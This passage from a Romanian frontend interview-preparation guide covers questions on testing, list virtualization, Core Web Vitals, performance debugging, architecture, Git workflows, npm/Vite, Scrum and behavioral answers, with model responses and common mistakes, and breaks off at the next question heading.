End-to-end cu Playwright sau Cypress: browser real, aplicație pornită, fluxuri critice (autentificare, checkout, înscriere la curs). Prind problemele de integrare cu backend-ul, dar sunt lente și pot fi instabile („flaky”) dacă se bazează pe pauze fixe în loc de așteptarea elementelor.

Distribuția recomandată des e un „trofeu” de testare: puține teste E2E pe fluxurile importante, multe teste de integrare, unitare pentru logica pură, plus analiză statică (TypeScript, ESLint) la bază. Nu testa detalii de implementare, cum ar fi state-ul intern sau numele claselor CSS; testele se rup la refactorizare fără să prindă bug-uri reale.

Ce urmărește intervievatorul: Testarea separă codul de hobby de cel profesional. Greșeala tipică: teste care verifică implementarea în loc de comportament și lipsa oricărei strategii de distribuție.

85 Mid

Cum afișezi eficient o listă cu zeci de mii de elemente?

Răspuns scurt: Prin virtualizare (windowing): randezi doar elementele vizibile în fereastra de scroll plus câteva în plus, iar restul sunt înlocuite de spațiu gol cu înălțimea corectă. Alternativ, paginare sau încărcare progresivă, în funcție de ce are nevoie utilizatorul.

10.000 de rânduri înseamnă 10.000 de componente și zeci de mii de noduri DOM. Randarea inițială durează, memoria crește, iar fiecare actualizare a listei devine lentă. Utilizatorul vede însă doar 15–20 de rânduri odată.

Ideea virtualizării: un container cu înălțimea totală calculată (de exemplu 10.000 × 40px), în care sunt montate doar rândurile din zona vizibilă, poziționate absolut sau cu transform. La scroll, rândurile se înlocuiesc.

TSX
import { useVirtualizer } from '@tanstack/react-virtual';

function ListaMare({ items }: { items: string[] }) {
  const parentRef = useRef<HTMLDivElement>(null);
  const virt = useVirtualizer({
    count: items.length,
    getScrollElement: () => parentRef.current,
    estimateSize: () => 40,
    overscan: 5,
  });

  return (
    <div ref={parentRef} style={{ height: 600, overflow: 'auto' }}>
      <div style={{ height: virt.getTotalSize(), position: 'relative' }}>
        {virt.getVirtualItems().map((v) => (
          <div key={v.key}
               style={{ position: 'absolute', top: 0, left: 0, right: 0,
                        height: v.size, transform: `translateY(${v.start}px)` }}>
            {items[v.index]}
          </div>
        ))}
      </div>
    </div>
  );
}

Librării: TanStack Virtual, react-window, react-virtuoso (bun pentru înălțimi variabile).

Compromisuri:

  • căutarea cu Ctrl+F din browser nu găsește rândurile nemontate;
  • înălțimile variabile cer măsurare dinamică;
  • accesibilitatea are nevoie de atenție (aria-rowcount, aria-rowindex la tabele);
  • state-ul din rândurile demontate se pierde dacă nu e ridicat în părinte.

Alternative mai simple: CSS content-visibility: auto, care sare peste randarea secțiunilor din afara ecranului fără să le scoată din DOM; paginarea, mai potrivită când utilizatorul caută ceva anume; filtrarea pe server. Întrebarea bună de pus înapoi: chiar are nevoie utilizatorul de toate elementele într-o singură listă?

Ce urmărește intervievatorul: Verifică dacă știi tehnica și compromisurile ei, nu doar numele unei librării. Greșeala tipică: virtualizare aplicată unei liste de 200 de elemente, unde complexitatea nu se justifică.

86 Senior

Ce sunt Core Web Vitals (LCP, INP, CLS) și cum le îmbunătățești?

Răspuns scurt: Sunt metricile Google pentru experiența reală a utilizatorilor: LCP măsoară cât de repede apare cel mai mare element vizibil, INP cât de repede răspunde pagina la interacțiuni, iar CLS cât de mult se mișcă neașteptat conținutul. Sunt evaluate pe date reale, la percentila 75.

Pragurile considerate „bune”:

  • LCP (Largest Contentful Paint): sub 2,5 secunde;
  • INP (Interaction to Next Paint): sub 200 ms; a înlocuit FID în martie 2024;
  • CLS (Cumulative Layout Shift): sub 0,1.

LCP e de obicei imaginea principală sau titlul mare. Îl îmbunătățești:

  • reducând timpul de răspuns al serverului (cache, CDN, randare statică);
  • făcând resursa LCP descoperibilă devreme: <img> în HTML, nu imagine încărcată din JS sau ca fundal CSS;
  • fetchpriority="high" pe ea și fără loading="lazy";
  • imagini comprimate, la dimensiunea corectă;
  • CSS care blochează randarea cât mai mic.

INP măsurează întârzierea de la click sau tastă până la următorul cadru desenat:

  • împarte task-urile lungi (peste 50 ms) ca thread-ul principal să rămână liber;
  • în handler-e, actualizează întâi interfața și amână munca grea (setTimeout, scheduler.yield() unde e suportat, startTransition în React);
  • redu JavaScript-ul de la terți (chat-uri, trackere) și costul hidratării;
  • evită re-randări mari la fiecare tastare.

CLS apare când conținutul sare:

  • dimensiuni (width/height sau aspect-ratio) pentru imagini, video, iframe-uri, reclame;
  • spațiu rezervat pentru bannere și conținut încărcat dinamic;
  • fonturi cu metrici apropiate de fontul de rezervă (size-adjust) și font-display potrivit;
  • animații cu transform, nu cu proprietăți de layout.

Diferența dintre date de laborator (Lighthouse, DevTools, condiții simulate) și date de teren (Chrome UX Report, Search Console, librăria web-vitals care trimite valorile din browserele utilizatorilor) e esențială: un scor Lighthouse bun pe un laptop rapid nu garantează experiența de pe un telefon modest. Optimizările se prioritizează după datele de teren.

Ce urmărește intervievatorul: La senior se așteaptă cunoașterea metricilor actuale și a cauzelor lor tehnice. Greșeala tipică: menționarea FID ca metrică curentă sau optimizare doar pentru scorul Lighthouse.

87 Senior

Utilizatorii raportează că o pagină e lentă. Cum depanezi, pas cu pas?

Răspuns scurt: Clarifici întâi ce înseamnă „lentă” (încărcare, interacțiune, scroll) și pe ce dispozitive, reproduci în condiții realiste, măsori cu DevTools (Network, Performance, React Profiler), identifici cauza principală, o corectezi și verifici cu aceleași măsurători și cu date din producție.

Un răspuns structurat contează mai mult decât o listă de trucuri.

1. Clarificare. Încărcarea inițială, navigarea între pagini, tastarea într-un câmp, scroll-ul? Pe ce dispozitive, browsere, rețele? De când? Un deploy recent sau o creștere a volumului de date pot indica direct cauza.

2. Date reale. Dacă există monitorizare (web-vitals trimise în analytics, Sentry Performance, Chrome UX Report), vezi care metrică s-a degradat și pe ce rute.

3. Reproducere realistă. În DevTools: CPU throttling 4x sau 6x, rețea „Fast 4G” sau mai lentă, cache dezactivat, fereastră incognito fără extensii.

4. Măsurare țintită.

  • *Încărcare lentă*: panoul Network (cascada de cereri, dimensiuni, cereri blocante, TTFB-ul serverului), Lighthouse pentru o listă inițială de probleme, analizorul de bundle.
  • *Interacțiune lentă*: panoul Performance, înregistrezi interacțiunea și cauți task-uri lungi (marcate cu roșu), recalculări forțate de layout și funcțiile care consumă timpul în vederea „Bottom-up”.
  • *Randări React*: React DevTools Profiler arată ce componente s-au randat, de ce și cât a durat fiecare.
  • *Degradare în timp*: panoul Memory, pentru leak-uri.

5. Ipoteză și corectură. Atacă cel mai mare consumator, nu zece lucruri mărunte. Cauze întâlnite des: o dependență uriașă în bundle, cereri în cascadă (waterfall), o listă nevirtualizată, un context care re-randează toată aplicația, un script de la terți, imagini neoptimizate, un endpoint lent.

6. Verificare. Aceleași măsurători înainte și după, apoi urmărire în producție. Adaugi un buget de performanță sau un test în CI ca problema să nu revină.

La interviu, menționează și comunicarea: ce i-ai spune utilizatorului sau echipei de produs și cum prioritizezi corectura față de alte sarcini.

Ce urmărește intervievatorul: Întrebarea evaluează metoda de lucru și experiența reală cu uneltele de profilare. Greșeala tipică: soluții propuse înainte de măsurare, de tipul „aș pune useMemo”.

88 Senior

Cum ai structura arhitectura frontend a unui produs mare, la care lucrează mai multe echipe?

Răspuns scurt: Pornești de la granițe clare: un design system comun, module organizate pe funcționalități (nu pe tipuri de fișiere), contracte tipate cu backend-ul, reguli automate (lint, tipuri, teste în CI) și, doar dacă echipele trebuie să livreze complet independent, micro-frontend-uri sau un monorepo cu pachete separate.

Problemele care apar la scară nu sunt tehnice în primul rând, ci de coordonare: echipe care se blochează reciproc, cod duplicat, interfață inconsecventă, build-uri lente.

Organizare pe funcționalități:

src/
  features/
    cursuri/      (componente, hook-uri, api, teste)
    checkout/
    profil/
  shared/
    ui/           (design system sau importat dintr-un pachet)
    lib/          (utilitare, client HTTP)
  app/            (rutare, provideri, layout)

Fiecare funcționalitate expune o interfață publică (un index.ts), iar regulile de import (de exemplu cu eslint-plugin-boundaries) împiedică dependențele încrucișate între funcționalități.

Design system: componente accesibile, documentate în Storybook, cu design tokens partajați cu echipa de design. Reduce inconsecvențele și munca duplicată.

Monorepo (pnpm workspaces, Turborepo, Nx): mai multe aplicații și pachete în același repository, cu build incremental și cache. Schimbările care traversează pachete se fac atomic, într-un singur pull request.

Micro-frontend-uri (Module Federation, compoziție la nivel de rută sau server): fiecare echipă își livrează independent bucata. Costul e mare: dependențe duplicate, consecvență vizuală mai greu de păstrat, depanare și versionare complicate. Se justifică atunci când independența organizațională chiar contează mai mult decât aceste costuri, nu ca punct de pornire.

Contracte și calitate: tipuri generate din OpenAPI sau GraphQL, TypeScript strict, ESLint, teste și bugete de performanță în CI, feature flags pentru livrare progresivă, monitorizare de erori și performanță în producție.

Decizii documentate: ADR-uri (Architecture Decision Records) scurte, ca echipele viitoare să știe de ce s-a ales ceva.

Răspunsul bun la nivel senior pornește de la constrângeri: câte echipe, cât de des livrează, cât de diferite sunt părțile produsului, și evită recomandarea unei arhitecturi complexe pentru o problemă mică.

Ce urmărește intervievatorul: Testează gândirea de arhitect și capacitatea de a lega deciziile tehnice de organizare. Greșeala tipică: propunerea de micro-frontend-uri ca soluție implicită, fără discuția costurilor.

Git, unelte și Agile

89 Junior

Care e diferența dintre git merge și git rebase? Când folosești fiecare?

Răspuns scurt: merge combină două ramuri printr-un commit nou de îmbinare și păstrează istoria exact cum a fost. rebase mută commit-urile tale peste vârful altei ramuri, rescriindu-le, și produce o istorie liniară. Nu faci rebase pe ramuri publice folosite de alții.

Să presupunem că ai lucrat pe feature/filtre, iar între timp main a primit commit-uri noi.

Merge:

BASH
git switch feature/filtre
git merge main

Se creează un merge commit cu doi părinți. Commit-urile existente rămân neschimbate (aceleași hash-uri). Istoria arată fidel cum s-a lucrat, dar poate deveni greu de citit, cu multe ramificații.

Rebase:

BASH
git switch feature/filtre
git fetch origin
git rebase origin/main

Git ia commit-urile tale, le „scoate” temporar, aduce ramura la vârful lui main și le aplică din nou, unul câte unul. Rezultatul: commit-uri noi (hash-uri noi) și o istorie liniară, ca și cum ai fi început lucrul de pe ultima versiune a lui main.

Consecințe practice:

  • După rebase pe o ramură deja urcată, trebuie git push --force-with-lease. Varianta --force-with-lease refuză suprascrierea dacă altcineva a urcat între timp ceva, spre deosebire de --force.
  • Regula de aur: nu rescrii istoria unei ramuri pe care lucrează și alții (de exemplu main), pentru că le strici copiile locale.
  • La rebase, conflictele pot apărea la fiecare commit aplicat; le rezolvi, apoi git add și git rebase --continue, sau renunți cu git rebase --abort.

Fluxul folosit de multe echipe: rebase local pe ramura proprie pentru a o ține la zi și curată, apoi integrare în main prin pull request, cu merge commit sau squash merge (toate commit-urile ramurii devin unul singur). git rebase -i permite unirea, reordonarea și redenumirea commit-urilor înainte de review.

Ce urmărește intervievatorul: Git e folosit zilnic, iar întrebarea arată dacă îl înțelegi sau doar repeți comenzi. Greșeala tipică: rebase pe o ramură comună și push forțat peste munca colegilor.

90 Junior

Cum arată fluxul tău de lucru cu Git într-o echipă și cum rezolvi un conflict?

Răspuns scurt: Creezi o ramură pentru fiecare sarcină din main actualizat, faci commit-uri mici cu mesaje clare, urci ramura și deschizi un pull request pentru review. Un conflict îl rezolvi deschizând fișierele marcate, alegând sau combinând modificările, testând și apoi finalizând merge-ul sau rebase-ul.

Un flux tipic, folosit cu GitHub, GitLab sau Bitbucket:

BASH
git switch main
git pull
git switch -c feature/AP-123-filtru-cursuri

# lucru, apoi commit-uri mici
git add src/components/Filtru.tsx
git commit -m "feat(cursuri): adaugă filtru după nivel"

git push -u origin feature/AP-123-filtru-cursuri
# se deschide pull request-ul, se rulează CI, urmează review

Bune practici:

  • un commit face un singur lucru și are un mesaj care explică ce și de ce. Convenția Conventional Commits (feat:, fix:, refactor:) e răspândită și permite generarea automată de changelog;
  • pull request-uri mici, ușor de revizuit, cu descriere, capturi de ecran pentru schimbările vizuale și pași de testare;
  • nu urca fișiere generate, node_modules sau secrete; .gitignore și fișierele .env excluse.

Conflictul apare când două ramuri au modificat aceleași linii. Git marchează fișierul:

<<<<<<< HEAD
const LIMITA = 20;
=======
const LIMITA = 50;
>>>>>>> feature/AP-123-filtru-cursuri

Pași: 1. git status arată fișierele în conflict. 2. Deschizi fiecare fișier (editorul oferă butoane pentru „păstrează ambele”, „păstrează varianta curentă” etc.) și construiești varianta corectă. Uneori corect e să combini ambele schimbări, nu să alegi una. 3. Elimini marcajele, rulezi aplicația și testele. 4. git add fisier și git commit (la merge) sau git rebase --continue (la rebase).

Dacă nu înțelegi schimbarea celuilalt, întrebi autorul în loc să ghicești. Pentru package-lock.json, de obicei păstrezi o variantă și rulezi din nou npm install, care regenerează fișierul.

Ce urmărește intervievatorul: Intervievatorul verifică dacă poți lucra imediat într-o echipă fără să creezi probleme. Greșeala tipică: rezolvarea conflictelor prin ștergerea modificărilor colegului fără să le înțelegi.

91 Junior

Ce rol au npm, package.json, fișierul lock și un bundler precum Vite?

Răspuns scurt: npm instalează dependențele declarate în package.json, iar fișierul lock fixează versiunile exacte instalate, ca toată echipa și serverul de build să folosească aceleași. Vite pornește un server de dezvoltare rapid și creează pentru producție fișiere optimizate și minificate.

package.json descrie proiectul: dependențe, scripturi, configurări.

JSON
{
  "name": "aplicatie-cursuri",
  "type": "module",
  "scripts": {
    "dev": "vite",
    "build": "tsc -b && vite build",
    "test": "vitest",
    "lint": "eslint ."
  },
  "dependencies": { "react": "^19.0.0" },
  "devDependencies": { "vite": "^6.0.0", "typescript": "^5.6.0" }
}
  • dependencies sunt necesare aplicației la rulare, devDependencies doar la dezvoltare și build.
  • ^19.0.0 (semver) acceptă orice versiune 19.x.y; ~ acceptă doar patch-uri. Versionarea semantică înseamnă MAJOR (schimbări incompatibile), MINOR (funcționalități noi compatibile), PATCH (corecturi).

Fișierul lock (package-lock.json, pnpm-lock.yaml, yarn.lock) reține versiunea exactă a fiecărei dependențe, inclusiv a celor indirecte. Se urcă în Git. Pe serverul de CI se folosește npm ci, care instalează exact ce e în lock și eșuează dacă lock-ul nu corespunde cu package.json.

Bundler-ul rezolvă probleme pe care browserul nu le rezolvă singur:

  • transformă TypeScript și JSX în JavaScript;
  • rezolvă importurile din node_modules;
  • în dezvoltare oferă reîncărcare instantanee a modulelor (HMR) fără a pierde state-ul;
  • la build: grupează și împarte codul, elimină codul nefolosit, minifică, adaugă hash în numele fișierelor, procesează CSS-ul și imaginile.

Vite servește în dezvoltare modulele ES direct browserului, de aceea pornește aproape instant; pentru producție folosește Rollup (în versiunile mai noi, Rolldown). Webpack rămâne prezent în multe proiecte existente.

Securitate: npm audit semnalează vulnerabilitățile cunoscute, iar orice pachet nou adăugat este cod străin care rulează în aplicația ta, inclusiv scripturile de instalare.

Ce urmărește intervievatorul: Verifică dacă înțelegi uneltele din jurul codului, nu doar codul. Greșeala tipică: lock file-ul ignorat în Git sau șters la fiecare conflict, ceea ce produce diferențe între mașini.

92 Junior

Cum funcționează Scrum și ce face un frontend developer în fiecare ceremonie?

Răspuns scurt: Scrum organizează munca în sprinturi scurte (de obicei 1–4 săptămâni), cu un backlog prioritizat de Product Owner. Ceremoniile sunt planificarea sprintului, daily scrum, sprint review și retrospectiva; developerul estimează, își asumă sarcini, raportează blocajele și arată ce a livrat.

Scrum definește trei roluri: Product Owner (decide prioritățile și ține backlog-ul), Scrum Master (facilitează procesul și elimină blocajele) și Developers (echipa care construiește produsul, inclusiv frontend, backend, QA).

Evenimentele și rolul tău în fiecare:

  • Sprint Planning: echipa alege ce intră în sprint și stabilește obiectivul sprintului. Tu clarifici cerințele, întrebi de design-uri, cazuri-limită și API-ul disponibil, și estimezi (adesea în story points).
  • Daily Scrum: maxim 15 minute, despre progresul spre obiectivul sprintului. Spui scurt ce ai făcut, ce urmează și ce te blochează (de exemplu un endpoint care nu e gata). Detaliile se discută după, doar cu cei implicați.
  • Sprint Review: arăți funcționalitatea care merge, nu slide-uri. Feedback-ul primit ajunge în backlog.
  • Retrospectiva: echipa discută ce a mers bine, ce nu și ce schimbă concret în sprintul următor.
  • Refinement (activitate continuă): poveștile viitoare sunt clarificate și împărțite în bucăți mai mici.

Artefactele: Product Backlog, Sprint Backlog și incrementul livrabil. Definition of Done spune când o sarcină e gata. Pentru frontend include adesea: cod revizuit, teste, verificat pe mobil, verificare de accesibilitate de bază, fără erori în consolă, aprobat de designer.

O poveste de utilizator bine scrisă are criterii de acceptare clare. Dacă lipsesc, e responsabilitatea ta să întrebi înainte să începi lucrul.

Agile e setul de principii (livrare frecventă, colaborare, adaptare la schimbare); Scrum e un cadru concret care le aplică. Alte echipe folosesc Kanban, cu flux continuu și limită de lucru în desfășurare, fără sprinturi.

Ce urmărește intervievatorul: Aproape toate echipele lucrează într-o formă de Agile, iar intervievatorul vrea să vadă că te poți integra. Greșeala tipică: daily scrum descris ca raport către șef, nu ca sincronizare a echipei.

93 Mid

Ai urcat din greșeală un commit greșit. Care e diferența dintre git revert, git reset și git restore?

Răspuns scurt: git revert creează un commit nou care anulează un commit existent fără să rescrie istoria, deci e sigur pe ramuri comune. git reset mută ramura înapoi, rescriind istoria local. git restore readuce fișiere la o versiune anterioară.

Alegerea depinde de un singur lucru: commit-ul a fost deja urcat și folosit de alții?

Commit deja pe o ramură comună: git revert.

BASH
git revert a1b2c3d
git push

Se adaugă un commit nou, opusul celui greșit. Istoria rămâne intactă și colegii nu au nimic de reparat. Pentru un merge commit: git revert -m 1 <hash>.

Commit doar local (sau pe ramura ta personală): git reset.

BASH
git reset --soft HEAD~1   # anulează commit-ul, schimbările rămân în staging
git reset --mixed HEAD~1  # implicit: schimbările rămân în fișiere, nepregătite
git reset --hard HEAD~1   # șterge commit-ul și schimbările din fișiere

--soft e util când vrei doar să refaci mesajul sau să împarți commit-ul. --hard pierde munca necommitată, deci îl folosești cu grijă.

Fișiere, nu commit-uri: git restore.

BASH
git restore src/App.tsx            # renunți la modificările din fișier
git restore --staged src/App.tsx   # scoți fișierul din staging
git restore --source=HEAD~2 src/App.tsx  # versiunea de acum două commit-uri

Alte unelte utile:

  • git commit --amend pentru a corecta ultimul commit local (mesaj sau fișier uitat);
  • git stash pentru a pune deoparte temporar modificări neterminate;
  • git cherry-pick <hash> pentru a aplica un singur commit pe altă ramură, de exemplu un hotfix;
  • git reflog, plasa de siguranță: arată toate pozițiile prin care a trecut HEAD, inclusiv cele „pierdute” după un reset, și permite recuperarea lor.

Un caz special: dacă ai urcat un secret (o cheie API), un revert nu ajută, pentru că secretul rămâne în istorie. Cheia trebuie invalidată imediat și generată alta; curățarea istoriei vine abia după.

Ce urmărește intervievatorul: Arată dacă poți repara greșeli fără să creezi altele mai mari. Greșeala tipică: reset --hard și push forțat pe main în loc de revert, sau ideea că un revert șterge un secret urcat.

Comportamentale și HR

94 Junior

Spune-ne câteva lucruri despre tine. De ce ai ales frontend?

Răspuns scurt: Un răspuns bun durează unul-două minute și leagă trei lucruri: de unde vii, ce ai construit concret în frontend și de ce rolul acesta, în această firmă, e pasul logic următor. Evită biografia completă și generalitățile.

Întrebarea pare simplă, dar e prima impresie și dă tonul discuției. Intervievatorul vrea să afle dacă ai un parcurs coerent și dacă îți poți prezenta clar experiența.

Structură recomandată, prezent, trecut, viitor:

  • Prezent: ce faci acum. „Lucrez de un an ca dezvoltator junior pe aplicații React și TypeScript” sau, dacă ești la început: „Am terminat un traseu de frontend și am construit trei proiecte complete.”
  • Trecut: doar ce e relevant. O reconversie profesională e un avantaj dacă o legi de rol: cineva venit din vânzări înțelege utilizatorii și produsul, cineva venit din design are ochi pentru detalii vizuale.
  • De ce frontend: un motiv concret și sincer. „Îmi place că văd imediat efectul codului și că pot face o interfață mai ușor de folosit” e mai credibil decât „e domeniul viitorului”.
  • Viitor: de ce postul acesta. Arată că te-ai documentat despre produsul lor.

Exemplu de schelet: „Am lucrat patru ani în customer support, unde am văzut zilnic cât de mult contează o interfață clară. Am început să învăț HTML, CSS și JavaScript seara, apoi React și TypeScript. Cel mai complex proiect al meu e o aplicație de programări cu autentificare și plăți de test, pe care o puteți vedea pe GitHub. Caut un rol în care să lucrez pe un produs folosit de mulți oameni și am văzut că voi puneți accent pe accesibilitate, un subiect care mă interesează.”

Ce să eviți: recitarea CV-ului, informații personale fără legătură cu rolul, critici la adresa angajatorului actual, un discurs memorat care sună mecanic.

Ce urmărește intervievatorul: Verifică abilitatea de comunicare și motivația reală pentru rol. Greșeala tipică: un monolog de cinci minute despre școală și hobby-uri, fără legătură cu postul.

95 Mid

Povestește despre cel mai greu bug pe care l-ai rezolvat.

Răspuns scurt: Folosește metoda STAR: situația, sarcina, acțiunile tale concrete și rezultatul. Accentul cade pe procesul de depanare (cum ai reprodus, ce ipoteze ai testat, ce unelte ai folosit) și pe ce ai schimbat ca să nu se repete.

Intervievatorul vrea să vadă cum gândești când lucrurile nu merg. Bug-ul în sine contează mai puțin decât metoda.

Structura STAR:

  • Situație: contextul, pe scurt. Ce aplicație, ce simptom, cât de grav era pentru utilizatori.
  • Sarcină: ce responsabilitate aveai tu.
  • Acțiune: pașii concreți. Aici stă 60–70% din răspuns.
  • Rezultat: ce s-a rezolvat și ce ai învățat sau schimbat în proces.

Exemplu de răspuns: „Situație: utilizatorii raportau că, uneori, coșul de cumpărături afișa produse din sesiunea anterioară după autentificare. Nu se reproducea constant. Sarcină: eram responsabil de fluxul de checkout. Acțiune: am cerut întâi detalii din rapoarte și am observat că apărea doar pe conexiuni lente. Am reprodus cu throttling în DevTools. Am urmărit cererile în Network și am văzut că răspunsul pentru coșul anonim sosea după cel pentru coșul autentificat și îl suprascria. Era o race condition. Am adăugat anularea cererii vechi cu AbortController la schimbarea utilizatorului și am scris un test care simulează răspunsurile în ordine inversă. Rezultat: problema a dispărut din rapoarte, iar apoi am propus echipei mutarea datelor de la server în TanStack Query, care tratează automat cazul, pentru restul aplicației.”

Ce face răspunsul convingător:

  • detalii tehnice reale (unelte, ipoteze eliminate);
  • folosirea lui „eu” pentru ce ai făcut tu și „noi” pentru echipă, fără să-ți atribui munca altora;
  • o lecție generală, nu doar „am reparat”.

Pregătește din timp două-trei povești de acest fel din proiectele tale. Dacă ești la primul job, folosește un proiect personal sau o temă; important e procesul.

Ce urmărește intervievatorul: Verifică metoda de depanare și onestitatea în descrierea propriei contribuții. Greșeala tipică: o poveste vagă, fără pași concreți, sau un bug banal descris ca dramatic.

96 Mid

Prezintă un proiect din portofoliu. Ce decizii tehnice ai luat și ce ai face altfel acum?

Răspuns scurt: Alege un proiect pe care îl cunoști în detaliu, explică problema pe care o rezolvă, două-trei decizii tehnice cu motivația lor și una-două lucruri pe care le-ai schimba. Partea cu „ce aș face altfel” arată maturitate, nu slăbiciune.

Întrebarea apare aproape sigur dacă ai link-uri de GitHub sau proiecte live în CV. Intervievatorul poate deschide codul în timpul discuției, așa că alege un proiect pe care îl poți explica linie cu linie.

Structură: 1. Problema și utilizatorul: ce face aplicația și pentru cine, într-o propoziție. 2. Arhitectura pe scurt: tehnologii, cum circulă datele, unde stă state-ul. 3. Două-trei decizii cu motivație: „Am ales Vite cu React în loc de Next.js pentru că aplicația e în spatele autentificării și nu aveam nevoie de SEO.” „Am folosit TanStack Query pentru datele de la server ca să nu scriu manual cache și reîncercări.” „Am modelat starea formularului cu o uniune discriminată ca să elimin stările imposibile.” 4. O dificultate și cum ai depășit-o. 5. Ce ai face altfel: „Aș fi scris teste de la început; am adăugat testele târziu și am descoperit trei bug-uri în logica de reduceri.” „Aș fi gândit accesibilitatea de la început; modalul meu nu gestiona focusul corect.”

Pregătire practică:

  • un README clar, cu descriere, capturi de ecran, instrucțiuni de rulare și link spre varianta live;
  • verifică pe telefon și cu tastatura proiectul înainte de interviu;
  • elimină codul comentat, fișierele de test uitate și orice cheie API din istoric;
  • fii pregătit pentru întrebări de tipul „ce se întâmplă dacă API-ul răspunde cu eroare aici?”.

Dacă proiectul pornește dintr-un tutorial, spune-o deschis și arată ce ai adăugat tu peste el. Intervievatorii recunosc de obicei proiectele copiate, iar onestitatea contează mai mult decât originalitatea ideii.

Ce urmărește intervievatorul: Verifică dacă înțelegi cu adevărat ce ai construit și dacă poți reflecta critic. Greșeala tipică: incapacitatea de a explica propriul cod sau prezentarea unui proiect din tutorial ca idee originală.

97 Mid

Cum reacționezi când nu ești de acord cu un designer sau cu Product Owner-ul în legătură cu o funcționalitate?

Răspuns scurt: Întâi înțelegi motivul cererii, apoi îți exprimi argumentele concrete (cost tehnic, accesibilitate, impact asupra utilizatorului), propui alternative și, dacă decizia rămâne a lor, o implementezi bine. Dezacordul se discută despre problemă, nu despre persoane.

Frontend developerul lucrează la granița dintre design, produs și backend, deci dezacordurile sunt normale. Intervievatorul vrea să vadă că le poți gestiona constructiv.

Un model de răspuns, cu un exemplu:

„Situație: designerul propusese un meniu care se deschidea doar la hover, cu animații complexe. Abordare:

  • Am întrebat întâi ce problemă rezolvă: voia ca meniul să pară mai „ușor”, fără click-uri în plus.
  • Mi-am explicat îngrijorările cu argumente concrete: pe telefon nu există hover, iar utilizatorii de tastatură nu ar fi putut deschide meniul; în plus, animațiile ar fi adăugat timp de dezvoltare.
  • Am venit cu o alternativă: deschidere la click, cu aceeași animație ușoară, respectând prefers-reduced-motion. Am făcut un prototip în 30 de minute ca să-l poată testa.
  • Rezultat: am ales varianta cu click, iar designerul a adăugat-o în design system.”

Principii care merită spuse:

  • Întreabă înainte să contrazici: adesea cealaltă persoană are informații pe care tu nu le ai (date din testări cu utilizatori, cerințe de business).
  • Argumentează cu fapte: impact asupra utilizatorilor, accesibilitate, performanță, timp de implementare, nu preferințe personale.
  • Propune, nu doar respinge: o alternativă concretă, eventual un prototip.
  • Acceptă decizia finală a celui responsabil și implementeaz-o fără sabotaj, dar documentează riscurile dacă sunt importante.
  • Discută în privat sau în ședința potrivită, nu în comentarii pasiv-agresive pe tichet.

Evită exemplele în care „am avut dreptate și ceilalți greșeau”. Un exemplu în care tu ți-ai schimbat părerea după ce ai înțeles contextul e la fel de valoros.

Ce urmărește intervievatorul: Verifică maturitatea în colaborare, esențială într-un rol aflat între design, produs și backend. Greșeala tipică: un exemplu care arată rigiditate sau desconsiderarea rolului celorlalți.

98 Mid

Cum primești și cum dai feedback la code review?

Răspuns scurt: Primești feedback-ul ca despre cod, nu despre tine: întrebi când nu înțelegi, explici ce ai decis și de ce, și schimbi fără orgoliu când argumentul e bun. Când dai feedback, ești concret și respectuos, explici motivul și separi problemele importante de preferințele minore.

Code review-ul e una dintre activitățile zilnice în orice echipă, iar felul în care îl tratezi spune mult despre cum vei colabora.

Când primești feedback:

  • Citește comentariul presupunând bună-credință. „De ce ai folosit useEffect aici?” e de obicei o întrebare reală, nu o critică.
  • Dacă nu ești de acord, explică motivația: „Am pus calculul în efect pentru că depinde de dimensiunea ferestrei; dacă ai o variantă mai simplă, o aplic.”
  • Dacă reviewer-ul are dreptate, schimbă și mulțumește. Pentru discuții lungi, o conversație scurtă e mai eficientă decât zece comentarii.
  • Notează tiparele: dacă primești de trei ori același comentariu, e o lecție de reținut.

Când dai feedback:

  • Fii concret și explică motivul: „Indexul ca key va face ca input-urile să-și piardă valoarea la ștergere; poți folosi item.id?” e mai util decât „nu e bine”.
  • Separă nivelurile: probleme blocante (bug, securitate, accesibilitate) versus sugestii (marcate, de exemplu, cu „nit:” sau „opțional:”).
  • Comentează codul, nu persoana: „acest cod” în loc de „tu”.
  • Laudă ce e bine făcut; review-ul nu e doar căutare de greșeli.
  • Lasă formatarea și stilul pe seama uneltelor automate (Prettier, ESLint), ca discuția să fie despre logică și design.

Ca autor, faci review-ul ușor: pull request mic, descriere clară, capturi de ecran pentru schimbări vizuale, auto-review înainte de a cere review altora.

Un exemplu personal scurt, de tipul „un comentariu primit care m-a ajutat să înțeleg ceva”, face răspunsul credibil.

Ce urmărește intervievatorul: Verifică dacă primești critica fără defensivă și dacă poți contribui la calitatea codului echipei. Greșeala tipică: răspunsul „accept orice comentariu” sau, invers, descrierea review-ului ca o luptă.

99 Mid

Povestește o situație în care ai estimat greșit o sarcină sau ai riscat să ratezi un termen. Ce ai făcut?

Răspuns scurt: Un răspuns bun arată că ai observat devreme problema, ai anunțat transparent echipa, ai propus opțiuni (reducerea scopului, ajutor, termen nou) și ai învățat ceva concret despre estimare. Ascunderea întârzierii până în ultima zi e exact ce vrea intervievatorul să nu audă.

Toți dezvoltatorii estimează greșit uneori. Întrebarea testează nu dacă ți s-a întâmplat, ci cum reacționezi.

Structura STAR, cu exemplu:

„Situație: am estimat la trei zile integrarea unei pagini de plăți. În a doua zi am descoperit că API-ul de plăți cerea un flux suplimentar de confirmare pentru carduri, pe care nu îl luasem în calcul. Sarcină: funcționalitatea era necesară pentru o lansare de la sfârșitul sprintului. Acțiune: am anunțat la daily chiar în ziua aceea, nu la final. I-am explicat Product Owner-ului ce am descoperit și am propus două variante: livrăm la termen doar plata cu cardul fără salvarea cardului pentru plăți viitoare, sau amânăm cu două zile pentru tot. Am cerut și o sesiune scurtă cu un coleg de backend care mai lucrase cu acel API. Echipa a ales varianta redusă. Rezultat: am livrat la termen partea esențială, iar restul a intrat în sprintul următor. De atunci, pentru integrările cu servicii externe, citesc documentația și fac un prototip mic înainte să dau estimarea.”

Ce arată un răspuns bun:

  • comunicare devreme: o întârziere anunțată la timp e o problemă de planificare; una anunțată în ultima zi e o problemă de încredere;
  • opțiuni, nu doar problema: scop redus, ajutor, termen nou, cu compromisurile fiecăreia;
  • asumare fără scuze și fără a da vina pe alții;
  • o lecție concretă aplicată ulterior: împărțirea sarcinilor mari, timp-tampon pentru necunoscute, prototipuri pentru integrări.

Evită exemplele în care ai rezolvat totul lucrând nopți întregi fără să spui nimănui. Pare dedicare, dar arată o problemă de comunicare.

Ce urmărește intervievatorul: Verifică asumarea responsabilității și transparența, foarte importante în echipe Agile. Greșeala tipică: o poveste în care vina e a altora sau soluția a fost doar efort personal ascuns.

100 Senior

